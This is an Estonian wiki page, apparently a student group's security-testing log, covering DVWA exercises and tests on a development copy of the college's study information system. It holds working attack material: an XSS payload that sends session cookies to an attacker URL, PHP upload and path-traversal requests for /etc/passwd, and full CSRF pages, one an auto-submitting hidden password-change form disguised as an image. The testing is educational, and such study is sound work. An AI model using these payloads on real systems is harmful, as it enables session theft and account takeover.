 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
 Cross-Site Scripting (XSS)&lt;br /&gt;
 SQL Injection (blind test)&lt;br /&gt;
 File inclusion&lt;br /&gt;
 Code Execution&lt;br /&gt;
 LDAP Injection&lt;br /&gt;
 Cross Frame Scripting&lt;br /&gt;
 SQL Injection (error msg. test)&lt;br /&gt;
 CRLF Injection&lt;br /&gt;
 Directory Travelsal&lt;br /&gt;
 XPath Injection&lt;br /&gt;
 URL Redirection&lt;br /&gt;
 Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
